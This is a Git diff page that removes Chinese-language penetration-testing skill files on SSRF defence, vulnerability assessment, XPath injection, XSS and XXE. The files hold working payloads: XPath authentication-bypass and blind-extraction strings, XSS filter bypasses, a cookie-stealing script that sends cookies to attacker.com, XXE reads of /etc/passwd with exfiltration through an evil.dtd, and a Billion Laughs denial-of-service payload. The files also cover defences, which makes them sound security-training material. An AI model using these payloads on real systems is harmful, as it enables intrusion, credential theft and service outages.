```python
|
||||
ALLOWED_DOMAINS = ['example.com', 'cdn.example.com']
|
||||
parsed = urlparse(url)
|
||||
if parsed.netloc not in ALLOWED_DOMAINS:
|
||||
raise ValueError("Domain not allowed")
|
||||
```
|
||||
|
||||
2. **禁用危险协议**
|
||||
- 只允许http/https
|
||||
- 禁止file://、gopher://、dict://等
|
||||
|
||||
3. **IP地址过滤**
|
||||
```python
|
||||
import ipaddress
|
||||
|
||||
def is_internal_ip(ip):
|
||||
return ipaddress.ip_address(ip).is_private or \
|
||||
ipaddress.ip_address(ip).is_loopback
|
||||
```
|
||||
|
||||
4. **使用DNS解析验证**
|
||||
- 解析域名获取IP
|
||||
- 验证IP是否在内网范围
|
||||
|
||||
5. **网络隔离**
|
||||
- 限制服务器出网权限
|
||||
- 使用代理服务器
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对内网系统造成影响
|
||||
- 注意不同协议的支持情况
|
||||
- 测试时注意请求频率,避免触发防护
|
||||
@@ -1,305 +0,0 @@
|
||||
---
|
||||
name: vulnerability-assessment
|
||||
description: 漏洞评估的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 漏洞评估
|
||||
|
||||
## 概述
|
||||
|
||||
漏洞评估是识别和评估系统漏洞的重要环节。本技能提供漏洞评估的方法、工具和最佳实践。
|
||||
|
||||
## 评估流程
|
||||
|
||||
### 1. 范围确定
|
||||
|
||||
**确定范围:**
|
||||
- 目标系统
|
||||
- 网络范围
|
||||
- 应用范围
|
||||
- 测试深度
|
||||
|
||||
### 2. 信息收集
|
||||
|
||||
**收集信息:**
|
||||
- 系统信息
|
||||
- 网络拓扑
|
||||
- 服务信息
|
||||
- 应用信息
|
||||
|
||||
### 3. 漏洞扫描
|
||||
|
||||
**扫描类型:**
|
||||
- 网络扫描
|
||||
- 主机扫描
|
||||
- 应用扫描
|
||||
- 配置扫描
|
||||
|
||||
### 4. 漏洞验证
|
||||
|
||||
**验证方法:**
|
||||
- 手动验证
|
||||
- 工具验证
|
||||
- 概念验证
|
||||
- 影响评估
|
||||
|
||||
### 5. 风险评估
|
||||
|
||||
**评估因素:**
|
||||
- 漏洞严重性
|
||||
- 利用难度
|
||||
- 影响范围
|
||||
- 业务影响
|
||||
|
||||
## 扫描工具
|
||||
|
||||
### 网络扫描
|
||||
|
||||
**使用Nessus:**
|
||||
```bash
|
||||
# 启动Nessus
|
||||
# 创建扫描任务
|
||||
# 配置扫描策略
|
||||
# 执行扫描
|
||||
# 分析结果
|
||||
```
|
||||
|
||||
**使用OpenVAS:**
|
||||
```bash
|
||||
# 启动OpenVAS
|
||||
gvm-setup
|
||||
|
||||
# 创建扫描任务
|
||||
# 执行扫描
|
||||
# 分析结果
|
||||
```
|
||||
|
||||
**使用Nmap:**
|
||||
```bash
|
||||
# 漏洞扫描
|
||||
nmap --script vuln target
|
||||
|
||||
# 特定漏洞
|
||||
nmap --script smb-vuln-ms17-010 target
|
||||
```
|
||||
|
||||
### 应用扫描
|
||||
|
||||
**使用Burp Suite:**
|
||||
```bash
|
||||
# 配置代理
|
||||
# 浏览应用
|
||||
# 被动扫描
|
||||
# 主动扫描
|
||||
# 分析结果
|
||||
```
|
||||
|
||||
**使用OWASP ZAP:**
|
||||
```bash
|
||||
# 启动ZAP
|
||||
zap.sh
|
||||
|
||||
# 快速扫描
|
||||
zap-cli quick-scan http://target.com
|
||||
|
||||
# 完整扫描
|
||||
zap-cli full-scan http://target.com
|
||||
```
|
||||
|
||||
**使用Acunetix:**
|
||||
```bash
|
||||
# 启动Acunetix
|
||||
# 创建扫描任务
|
||||
# 配置扫描选项
|
||||
# 执行扫描
|
||||
# 分析结果
|
||||
```
|
||||
|
||||
### 代码扫描
|
||||
|
||||
**使用SonarQube:**
|
||||
```bash
|
||||
# 运行扫描
|
||||
sonar-scanner
|
||||
|
||||
# 分析结果
|
||||
# 查看报告
|
||||
```
|
||||
|
||||
**使用Checkmarx:**
|
||||
```bash
|
||||
# 使用Web界面
|
||||
# 上传代码
|
||||
# 执行扫描
|
||||
# 分析结果
|
||||
```
|
||||
|
||||
## 漏洞分类
|
||||
|
||||
### 按严重性
|
||||
|
||||
**严重(Critical):**
|
||||
- 远程代码执行
|
||||
- SQL注入
|
||||
- 认证绕过
|
||||
- 敏感数据泄露
|
||||
|
||||
**高危(High):**
|
||||
- 权限提升
|
||||
- 信息泄露
|
||||
- 业务逻辑漏洞
|
||||
- 配置错误
|
||||
|
||||
**中危(Medium):**
|
||||
- XSS漏洞
|
||||
- CSRF漏洞
|
||||
- 弱密码
|
||||
- 不安全的配置
|
||||
|
||||
**低危(Low):**
|
||||
- 信息泄露
|
||||
- 配置建议
|
||||
- 最佳实践
|
||||
- 信息收集
|
||||
|
||||
### 按类型
|
||||
|
||||
**注入漏洞:**
|
||||
- SQL注入
|
||||
- 命令注入
|
||||
- LDAP注入
|
||||
- XPath注入
|
||||
|
||||
**认证漏洞:**
|
||||
- 弱密码
|
||||
- 会话固定
|
||||
- 认证绕过
|
||||
- 密码重置
|
||||
|
||||
**授权漏洞:**
|
||||
- 权限提升
|
||||
- IDOR
|
||||
- 水平权限
|
||||
- 垂直权限
|
||||
|
||||
**配置错误:**
|
||||
- 默认配置
|
||||
- 错误配置
|
||||
- 不安全的存储
|
||||
- 敏感信息泄露
|
||||
|
||||
## 风险评估
|
||||
|
||||
### CVSS评分
|
||||
|
||||
**基础指标:**
|
||||
- 攻击向量(AV)
|
||||
- 攻击复杂度(AC)
|
||||
- 所需权限(PR)
|
||||
- 用户交互(UI)
|
||||
|
||||
**影响指标:**
|
||||
- 机密性影响(C)
|
||||
- 完整性影响(I)
|
||||
- 可用性影响(A)
|
||||
|
||||
**计算CVSS:**
|
||||
```bash
|
||||
# 使用CVSS计算器
|
||||
# 输入指标
|
||||
# 计算分数
|
||||
# 确定等级
|
||||
```
|
||||
|
||||
### 业务影响
|
||||
|
||||
**评估因素:**
|
||||
- 数据敏感性
|
||||
- 系统重要性
|
||||
- 业务影响
|
||||
- 合规要求
|
||||
|
||||
**风险矩阵:**
|
||||
```
|
||||
低影响 中影响 高影响
|
||||
高可能性 中 高 严重
|
||||
中可能性 低 中 高
|
||||
低可能性 低 低 中
|
||||
```
|
||||
|
||||
## 报告编写
|
||||
|
||||
### 报告结构
|
||||
|
||||
**执行摘要:**
|
||||
- 评估概述
|
||||
- 关键发现
|
||||
- 风险评级
|
||||
- 建议措施
|
||||
|
||||
**详细发现:**
|
||||
- 漏洞描述
|
||||
- 影响分析
|
||||
- 利用步骤
|
||||
- 修复建议
|
||||
|
||||
**附录:**
|
||||
- 扫描配置
|
||||
- 工具版本
|
||||
- 参考链接
|
||||
- 术语表
|
||||
|
||||
### 报告模板
|
||||
|
||||
```markdown
|
||||
# 漏洞评估报告
|
||||
|
||||
## 执行摘要
|
||||
- 评估时间:2024-01-01
|
||||
- 评估范围:xxx
|
||||
- 发现漏洞:xx个
|
||||
- 严重漏洞:x个
|
||||
|
||||
## 漏洞列表
|
||||
|
||||
### VULN-001: SQL注入
|
||||
- 严重性:严重
|
||||
- CVSS评分:9.8
|
||||
- 描述:...
|
||||
- 影响:...
|
||||
- 修复建议:...
|
||||
|
||||
## 总结
|
||||
...
|
||||
```
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 扫描前
|
||||
|
||||
- 获得授权
|
||||
- 确定范围
|
||||
- 准备工具
|
||||
- 通知相关人员
|
||||
|
||||
### 2. 扫描中
|
||||
|
||||
- 系统化扫描
|
||||
- 记录操作
|
||||
- 验证漏洞
|
||||
- 评估影响
|
||||
|
||||
### 3. 扫描后
|
||||
|
||||
- 分析结果
|
||||
- 编写报告
|
||||
- 提供建议
|
||||
- 跟踪修复
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 获得明确授权
|
||||
- 避免对系统造成影响
|
||||
- 保护扫描数据
|
||||
- 及时报告关键漏洞
|
||||
@@ -1,306 +0,0 @@
|
||||
---
|
||||
name: xpath-injection-testing
|
||||
description: XPath注入漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# XPath注入漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
XPath注入是一种类似于SQL注入的漏洞,利用XPath查询语句的构造缺陷,可能导致信息泄露、认证绕过等。本技能提供XPath注入的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序将用户输入直接拼接到XPath查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。
|
||||
|
||||
**危险代码示例:**
|
||||
```java
|
||||
String xpath = "//user[username='" + username + "' and password='" + password + "']";
|
||||
XPathExpression expr = xpath.compile(xpath);
|
||||
NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);
|
||||
```
|
||||
|
||||
## XPath基础
|
||||
|
||||
### 查询语法
|
||||
|
||||
**基础查询:**
|
||||
```
|
||||
//user[username='admin']
|
||||
//user[@id='1']
|
||||
//user[username='admin' and password='pass']
|
||||
//user[username='admin' or username='user']
|
||||
```
|
||||
|
||||
### 函数
|
||||
|
||||
**常用函数:**
|
||||
- `text()` - 获取文本内容
|
||||
- `count()` - 计数
|
||||
- `substring()` - 子字符串
|
||||
- `string-length()` - 字符串长度
|
||||
- `contains()` - 包含检查
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别XPath输入点
|
||||
|
||||
**常见功能:**
|
||||
- 用户登录
|
||||
- 数据搜索
|
||||
- XML数据查询
|
||||
- 配置查询
|
||||
|
||||
### 2. 基础检测
|
||||
|
||||
**测试特殊字符:**
|
||||
```
|
||||
' or '1'='1
|
||||
' or '1'='1' or '
|
||||
' or 1=1 or '
|
||||
') or ('1'='1
|
||||
```
|
||||
|
||||
**测试逻辑操作符:**
|
||||
```
|
||||
' or '1'='1
|
||||
' and '1'='2
|
||||
' or 1=1 or '
|
||||
```
|
||||
|
||||
### 3. 认证绕过
|
||||
|
||||
**基础绕过:**
|
||||
```
|
||||
用户名: admin' or '1'='1
|
||||
密码: anything
|
||||
查询: //user[username='admin' or '1'='1' and password='anything']
|
||||
```
|
||||
|
||||
**更精确的绕过:**
|
||||
```
|
||||
用户名: admin') or ('1'='1
|
||||
查询: //user[username='admin') or ('1'='1' and password='*']
|
||||
```
|
||||
|
||||
### 4. 信息泄露
|
||||
|
||||
**枚举用户:**
|
||||
```
|
||||
' or 1=1 or '
|
||||
' or '1'='1
|
||||
') or 1=1 or ('
|
||||
```
|
||||
|
||||
**获取节点数量:**
|
||||
```
|
||||
' or count(//user)>0 or '
|
||||
```
|
||||
|
||||
**获取特定节点:**
|
||||
```
|
||||
' or substring(//user[1]/username,1,1)='a' or '
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 认证绕过
|
||||
|
||||
**方法1:逻辑绕过**
|
||||
```
|
||||
输入: admin' or '1'='1
|
||||
查询: //user[username='admin' or '1'='1' and password='*']
|
||||
结果: 匹配所有用户
|
||||
```
|
||||
|
||||
**方法2:注释绕过**
|
||||
```
|
||||
输入: admin')] | //* | //*[('
|
||||
查询: //user[username='admin')] | //* | //*[('' and password='*']
|
||||
```
|
||||
|
||||
**方法3:布尔盲注**
|
||||
```
|
||||
' or substring(//user[1]/username,1,1)='a' or '
|
||||
' or substring(//user[1]/username,1,1)='b' or '
|
||||
```
|
||||
|
||||
### 信息泄露
|
||||
|
||||
**枚举所有用户:**
|
||||
```
|
||||
' or 1=1 or '
|
||||
结果: 返回所有用户节点
|
||||
```
|
||||
|
||||
**获取用户名:**
|
||||
```
|
||||
' or substring(//user[1]/username,1,1)='a' or '
|
||||
' or substring(//user[1]/username,2,1)='d' or '
|
||||
逐步获取每个字符
|
||||
```
|
||||
|
||||
**获取密码:**
|
||||
```
|
||||
' or substring(//user[1]/password,1,1)='p' or '
|
||||
逐步获取密码字符
|
||||
```
|
||||
|
||||
### 盲注技术
|
||||
|
||||
**基于时间的盲注:**
|
||||
```
|
||||
' or count(//user[substring(username,1,1)='a'])>0 and sleep(5) or '
|
||||
```
|
||||
|
||||
**基于布尔值的盲注:**
|
||||
```
|
||||
' or substring(//user[1]/username,1,1)='a' or '
|
||||
观察响应差异
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 编码绕过
|
||||
|
||||
**URL编码:**
|
||||
```
|
||||
' or '1'='1 → %27%20or%20%271%27%3D%271
|
||||
```
|
||||
|
||||
**HTML实体编码:**
|
||||
```
|
||||
' → '
|
||||
" → "
|
||||
< → <
|
||||
> → >
|
||||
```
|
||||
|
||||
### 注释绕过
|
||||
|
||||
**使用注释:**
|
||||
```
|
||||
' or 1=1 or '
|
||||
' or '1'='1' or '
|
||||
```
|
||||
|
||||
### 函数绕过
|
||||
|
||||
**使用不同函数:**
|
||||
```
|
||||
substring(//user[1]/username,1,1)
|
||||
substring(//user[position()=1]/username,1,1)
|
||||
//user[1]/username/text()[1]
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### XPath表达式测试
|
||||
|
||||
**在线工具:**
|
||||
- XPath Tester
|
||||
- XMLSpy
|
||||
- Oxygen XML Editor
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截XPath查询请求
|
||||
2. 修改查询参数
|
||||
3. 观察响应结果
|
||||
|
||||
### Python脚本
|
||||
|
||||
```python
|
||||
from lxml import etree
|
||||
from lxml.etree import XPath
|
||||
|
||||
# 加载XML文档
|
||||
doc = etree.parse('users.xml')
|
||||
|
||||
# 测试注入
|
||||
xpath_expr = "//user[username='admin' or '1'='1']"
|
||||
xpath = XPath(xpath_expr)
|
||||
results = xpath(doc)
|
||||
print(results)
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以控制XPath查询
|
||||
2. 验证认证绕过或信息泄露
|
||||
3. 评估影响(未授权访问、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和输入参数
|
||||
- XPath查询构造方式
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(输入验证、参数化查询等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **输入验证**
|
||||
```java
|
||||
private static final String[] XPATH_ESCAPE_CHARS =
|
||||
{"'", "\"", "[", "]", "(", ")", "=", ">", "<", " "};
|
||||
|
||||
public static String escapeXPath(String input) {
|
||||
if (input == null) {
|
||||
return null;
|
||||
}
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < input.length(); i++) {
|
||||
char c = input.charAt(i);
|
||||
if (Arrays.asList(XPATH_ESCAPE_CHARS).contains(String.valueOf(c))) {
|
||||
sb.append("\\");
|
||||
}
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
```
|
||||
|
||||
2. **参数化查询**
|
||||
```java
|
||||
// 使用XPath变量
|
||||
String xpath = "//user[username=$username and password=$password]";
|
||||
XPathExpression expr = xpath.compile(xpath);
|
||||
XPathVariableResolver resolver = new MapVariableResolver(
|
||||
Map.of("username", escapedUsername, "password", escapedPassword));
|
||||
expr.setXPathVariableResolver(resolver);
|
||||
```
|
||||
|
||||
3. **白名单验证**
|
||||
```java
|
||||
// 只允许特定字符
|
||||
if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
|
||||
throw new IllegalArgumentException("Invalid input");
|
||||
}
|
||||
```
|
||||
|
||||
4. **使用预编译查询**
|
||||
```java
|
||||
// 预定义查询模板
|
||||
private static final String LOGIN_QUERY =
|
||||
"//user[username=$1 and password=$2]";
|
||||
|
||||
// 使用参数绑定
|
||||
```
|
||||
|
||||
5. **最小权限**
|
||||
- 限制XPath查询范围
|
||||
- 使用访问控制
|
||||
- 限制可查询的节点
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 注意不同XPath版本的语法差异
|
||||
- 测试时避免对XML数据造成影响
|
||||
- 了解目标应用的XPath实现
|
||||
@@ -1,135 +0,0 @@
|
||||
---
|
||||
name: xss-testing
|
||||
description: XSS跨站脚本攻击测试的专业技能
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# XSS测试技能
|
||||
|
||||
## 概述
|
||||
|
||||
跨站脚本攻击(XSS)允许攻击者在受害者的浏览器中执行恶意JavaScript代码。本技能涵盖反射型、存储型和DOM型XSS的测试方法。
|
||||
|
||||
## XSS类型
|
||||
|
||||
### 1. 反射型XSS (Reflected XSS)
|
||||
- 恶意脚本通过URL参数传递
|
||||
- 服务器直接返回包含脚本的响应
|
||||
- 需要用户点击恶意链接
|
||||
|
||||
### 2. 存储型XSS (Stored XSS)
|
||||
- 恶意脚本存储在服务器(数据库、文件等)
|
||||
- 所有访问受影响页面的用户都会执行脚本
|
||||
- 影响范围更大
|
||||
|
||||
### 3. DOM型XSS (DOM-based XSS)
|
||||
- 客户端JavaScript处理用户输入不当
|
||||
- 不涉及服务器端处理
|
||||
- 通过修改DOM结构触发
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 基础Payload
|
||||
```javascript
|
||||
<script>alert('XSS')</script>
|
||||
<img src=x onerror=alert('XSS')>
|
||||
<svg onload=alert('XSS')>
|
||||
<body onload=alert('XSS')>
|
||||
```
|
||||
|
||||
### 绕过过滤
|
||||
|
||||
#### 大小写绕过
|
||||
```javascript
|
||||
<ScRiPt>alert('XSS')</ScRiPt>
|
||||
```
|
||||
|
||||
#### 编码绕过
|
||||
```javascript
|
||||
%3Cscript%3Ealert('XSS')%3C/script%3E
|
||||
<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
#### 事件处理器
|
||||
```javascript
|
||||
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
|
||||
<div onmouseover=alert('XSS')>hover</div>
|
||||
<input onfocus=alert('XSS') autofocus>
|
||||
```
|
||||
|
||||
#### 伪协议
|
||||
```javascript
|
||||
<a href="javascript:alert('XSS')">click</a>
|
||||
<iframe src="javascript:alert('XSS')">
|
||||
```
|
||||
|
||||
### 高级绕过技术
|
||||
|
||||
#### 使用String.fromCharCode
|
||||
```javascript
|
||||
<script>alert(String.fromCharCode(88,83,83))</script>
|
||||
```
|
||||
|
||||
#### 使用eval和atob
|
||||
```javascript
|
||||
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
|
||||
```
|
||||
|
||||
#### 使用HTML实体
|
||||
```javascript
|
||||
<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### dalfox
|
||||
```bash
|
||||
# 基础扫描
|
||||
dalfox url "http://target.com/page?q=test"
|
||||
|
||||
# 指定参数
|
||||
dalfox url "http://target.com/page" -d "q=test" -X POST
|
||||
|
||||
# 使用自定义payload
|
||||
dalfox url "http://target.com/page?q=test" --custom-payload payloads.txt
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
- 使用Intruder模块进行批量测试
|
||||
- 使用Repeater手动测试
|
||||
- 使用Scanner自动检测
|
||||
|
||||
### 浏览器控制台
|
||||
- 测试DOM型XSS
|
||||
- 检查JavaScript执行环境
|
||||
- 调试payload
|
||||
|
||||
## 验证和利用
|
||||
|
||||
### 验证步骤
|
||||
1. 确认payload被执行
|
||||
2. 检查是否被过滤或编码
|
||||
3. 测试不同上下文(HTML、JavaScript、属性等)
|
||||
4. 评估影响(Cookie窃取、会话劫持等)
|
||||
|
||||
### 利用场景
|
||||
- Cookie窃取:`<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>`
|
||||
- 键盘记录:注入键盘事件监听器
|
||||
- 钓鱼攻击:伪造登录表单
|
||||
- 会话劫持:获取用户会话token
|
||||
|
||||
## 报告要点
|
||||
|
||||
- XSS类型(反射/存储/DOM)
|
||||
- 触发位置和参数
|
||||
- 完整的POC
|
||||
- 影响评估
|
||||
- 修复建议(输出编码、CSP策略等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
- 输入验证和过滤
|
||||
- 输出编码(HTML、JavaScript、URL)
|
||||
- Content Security Policy (CSP)
|
||||
- HttpOnly Cookie标志
|
||||
- 使用安全的框架和库
|
||||
@@ -1,244 +0,0 @@
|
||||
---
|
||||
name: xxe-testing
|
||||
description: XXE XML外部实体注入测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# XXE XML外部实体注入测试
|
||||
|
||||
## 概述
|
||||
|
||||
XXE(XML External Entity)注入是一种利用XML解析器处理外部实体的漏洞。本技能提供XXE漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
XML解析器在处理外部实体时,可能读取本地文件、进行SSRF攻击或导致拒绝服务。常见于:
|
||||
- XML文档解析
|
||||
- SOAP服务
|
||||
- Office文档(.docx, .xlsx等)
|
||||
- SVG图片
|
||||
- PDF文件
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别XML输入点
|
||||
|
||||
- 文件上传功能
|
||||
- API接口接受XML数据
|
||||
- SOAP请求
|
||||
- Office文档处理
|
||||
- 数据导入功能
|
||||
|
||||
### 2. 基础XXE检测
|
||||
|
||||
**测试外部实体:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
**测试网络请求(SSRF):**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "http://attacker.com/">
|
||||
]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
### 3. 盲XXE检测
|
||||
|
||||
**当响应不直接显示内容时:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "http://attacker.com/?file=/etc/passwd">
|
||||
]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
**使用参数实体:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
|
||||
%xxe;
|
||||
]>
|
||||
<foo>test</foo>
|
||||
```
|
||||
|
||||
**evil.dtd内容:**
|
||||
```xml
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?%file;'>">
|
||||
%eval;
|
||||
%exfil;
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 文件读取
|
||||
|
||||
**读取本地文件:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
**Windows路径:**
|
||||
```xml
|
||||
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
|
||||
```
|
||||
|
||||
### SSRF攻击
|
||||
|
||||
**内网探测:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
|
||||
]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
**端口扫描:**
|
||||
```xml
|
||||
<!ENTITY xxe SYSTEM "http://127.0.0.1:22">
|
||||
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
|
||||
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379">
|
||||
```
|
||||
|
||||
### 拒绝服务
|
||||
|
||||
**Billion Laughs攻击:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY lol "lol">
|
||||
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||
]>
|
||||
<foo>&lol9;</foo>
|
||||
```
|
||||
|
||||
### Office文档XXE
|
||||
|
||||
**docx文件结构:**
|
||||
```
|
||||
word/document.xml - 包含文档内容
|
||||
word/_rels/document.xml.rels - 包含外部引用
|
||||
```
|
||||
|
||||
**修改document.xml.rels:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships>
|
||||
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="file:///etc/passwd" TargetMode="External"/>
|
||||
</Relationships>
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 不同协议
|
||||
|
||||
**PHP:**
|
||||
```xml
|
||||
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
|
||||
```
|
||||
|
||||
**Java:**
|
||||
```xml
|
||||
<!ENTITY xxe SYSTEM "jar:file:///path/to/file.zip!/file.txt">
|
||||
```
|
||||
|
||||
**编码绕过:**
|
||||
```xml
|
||||
<!ENTITY xxe SYSTEM "file:///%65%74%63/%70%61%73%73%77%64">
|
||||
```
|
||||
|
||||
### 参数实体
|
||||
|
||||
**利用参数实体绕过某些限制:**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
|
||||
]>
|
||||
<foo>test</foo>
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### XXEinjector
|
||||
|
||||
```bash
|
||||
# 基础使用
|
||||
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml
|
||||
|
||||
# 文件读取
|
||||
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml --oob=http://attacker.com --path=/etc/passwd
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截包含XML的请求
|
||||
2. 发送到Repeater
|
||||
3. 修改XML内容,添加外部实体
|
||||
4. 观察响应或外带数据
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认XML解析器处理外部实体
|
||||
2. 验证文件读取或SSRF是否成功
|
||||
3. 评估影响范围(敏感文件、内网访问等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和XML输入点
|
||||
- 可读取的文件或可访问的内网资源
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(禁用外部实体、使用白名单等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **禁用外部实体**
|
||||
```java
|
||||
// Java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
|
||||
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
|
||||
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
|
||||
```
|
||||
|
||||
2. **使用白名单验证**
|
||||
- 验证XML结构
|
||||
- 限制允许的实体
|
||||
|
||||
3. **使用安全的解析器**
|
||||
- 使用不处理DTD的解析器
|
||||
- 使用JSON替代XML
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免读取敏感文件造成数据泄露
|
||||
- 注意不同语言和库的XXE处理差异
|
||||
- 测试Office文档时注意文件格式
|
||||
Reference in New Issue
Block a user